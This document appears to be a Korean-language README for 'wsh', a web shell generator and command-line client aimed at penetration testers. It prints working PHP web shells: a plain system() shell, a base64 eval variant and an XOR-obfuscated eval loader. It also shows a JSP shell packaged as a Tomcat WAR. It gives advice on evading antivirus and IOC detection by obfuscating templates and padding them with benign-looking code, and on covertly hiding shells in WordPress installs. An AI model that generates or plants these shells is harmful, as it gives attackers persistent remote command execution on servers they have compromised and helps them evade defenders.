
웹 셸 생성기 및 명령줄 인터페이스.
wsh ('woosh'라고 발음)는 웹 셸 생성기이자 명령줄 인터페이스입니다. 이 프로젝트는 웹 셸과의 상호작용이 불편해서 시작되었습니다. 기존에는 폼을 통해 명령을 보내려면 입력 상자에 입력하고 버튼을 눌러야 했습니다. 저는 자신의 작업 흐름에 더 잘 맞고 터미널에서 실행되는 도구를 원했습니다. 그래서 wsh가 탄생했습니다.
클라이언트는 명령 내역, 로깅 기능을 제공하며, 이미 배포된 표준 웹 셸(폼/버튼 포함)과 상호작용하도록 구성할 수 있습니다. 생성기는 php, asp, jsp 웹 셸을 만듭니다. 변수명이 무작위로 생성되어 각 셸은 고유한 해시를 갖습니다. 화이트리스트, 비밀번호를 설정할 수 있으며, 명령을 커스텀 헤더와 파라미터로 전송하도록 구성할 수 있습니다. 생성기와 클라이언트는 명령줄 플래그나 설정 파일을 통해 구성할 수 있어, '--help' 댄스를 하지 않아도 자신에게 맞는 설정을 저장할 수 있습니다. 일단 구성되면 클라이언트와 생성기는 동일한 설정 파일을 사용합니다.
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
클라이언트를 언어에 구애받지 않도록 만들고 싶었기 때문에 모든 웹 셸이 동일한 업로드/다운로드 로직을 구현해야 했습니다. 불행히도 jsp와 classic asp에서 멀티파트 폼 업로드를 네이티브로 처리하는 것은 까다롭기 때문에 파일은 파라미터에 base64로 인코딩되어 업로드됩니다. 이는 최대 파일 업로드 크기가 최대 파라미터 크기로 제한되므로 이상적이지 않습니다. 향후에는 멀티파트 폼 업로드를 구현하거나, 여러 요청으로 나누어 더 큰 파일을 전송할 수도 있습니다.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
다음 명령은 간단한 php 웹 셸을 생성하고 상호작용합니다.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
명령은 HTTP 헤더로도 보낼 수 있습니다
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
비밀번호는 파라미터나 헤더로 전송할 수 있습니다.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
이 기능은 흥미롭지만, 실제로 사용하려면 템플릿을 수정해야 할 수 있습니다. asp와 jsp의 경우 base64를 디코딩하는 라이브러리는 알려진 IOC(침해 지표)로 플래그가 지정됩니다. 이 기능을 사용하고 싶다면 템플릿을 수정하고 난독화하는 것을 권장합니다.
비밀번호 보호와 마찬가지로 XOR 키는 파라미터나 헤더로 전송할 수 있습니다.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Tomcat에 배포할 수 있는 웹 셸을 생성하려면 index.jsp라는 이름의 jsp 셸을 만들고 아래 명령을 실행하여 war 파일로 압축합니다.
가끔 Tomcat 환경에 파일 업로드/다운로드에 필요한 라이브러리가 없어 요청 시 셸에 오류가 발생할 수 있습니다. 이를 해결하려면 --no-file 플래그를 사용하세요.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
Go 템플릿 라이브러리를 사용하면 생성기에 많은 유연성이 생깁니다. 때때로 웹 셸이 AV에 탐지될 수 있지만, 템플릿 파일에 임의의 코드를 많이 추가하면 셸이 충분히 양성으로 보여 디스크에 유지될 수 있습니다. templates/covert-php.tml 파일에 예제가 포함되어 있습니다.
또한, 침투 테스트 시 사용자 이름/연락처 정보를 템플릿에 추가하여 귀속(attribution) 용도로 사용할 수 있습니다.
프리픽스를 지정하여 각 명령 앞에 문자열을 추가할 수 있습니다. 일반 cmd 셸을 powershell 셸로 바꾸는 데 사용할 수 있습니다.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
로그에는 타임스탬프가 찍히고 상호작용 중인 호스트가 포함됩니다. 로그 파일은 추가(append) 방식이므로 여러 세션/호스트에서 동일한 로그 파일을 사용해도 됩니다.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
클라이언트는 요청에서 불필요한 HTML 콘텐츠를 잘라내도록 구성할 수 있습니다. 이는 표준 HTML 인터페이스 웹 셸과 상호작용할 때 유용하며, 생성된 셸이 WordPress 설치에 은밀하게 삽입된 경우에도 유용할 수 있습니다.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates